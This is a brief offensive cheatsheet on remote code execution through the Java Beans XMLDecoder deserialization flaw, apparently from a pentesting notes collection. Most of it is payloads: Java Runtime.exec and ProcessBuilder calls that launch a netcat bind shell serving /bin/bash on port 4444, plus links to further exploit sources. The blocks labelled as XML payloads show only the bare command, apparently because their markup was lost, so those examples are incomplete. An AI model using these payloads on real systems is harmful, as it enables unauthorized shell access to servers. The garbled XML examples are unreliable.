## Java Beans XMLDecoder Remote Code Execution cheatsheet Having a functionality of file upload or other function that is parsing input xml-type data that will later flow through the **XMLDecoder** component of _Java Beans_, one could try to play around it's known deserialization issue. In order to test that issue there should be specially crafted XML-payload used that would invoke arbitrary Java interfaces and methods with supplied parameters. ### Payloads When one would like to start a bind shell on the target machine, he could use the payload like the following one: ``` Runtime.getRuntime().exec(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}); ``` In such case desired XML would look like the following one: ``` /usr/bin/nc -l -p 4444 -e /bin/bash ``` or by using `ProcessBuilder`: ``` new java.lang.ProcessBuilder(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}).start() ``` Then the payload would look like: ``` /usr/bin/nc -l -p 4444 -e /bin/bash ``` For more payloads and guides how to leverage **XMLDecoder** deserialization vulnerability, one can refer to following good quality sources: - http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html - https://github.com/o2platform/DefCon_RESTing/tree/master/Demos/_O2_Scripts/XmlEncoder%20-%20Restlet/exploits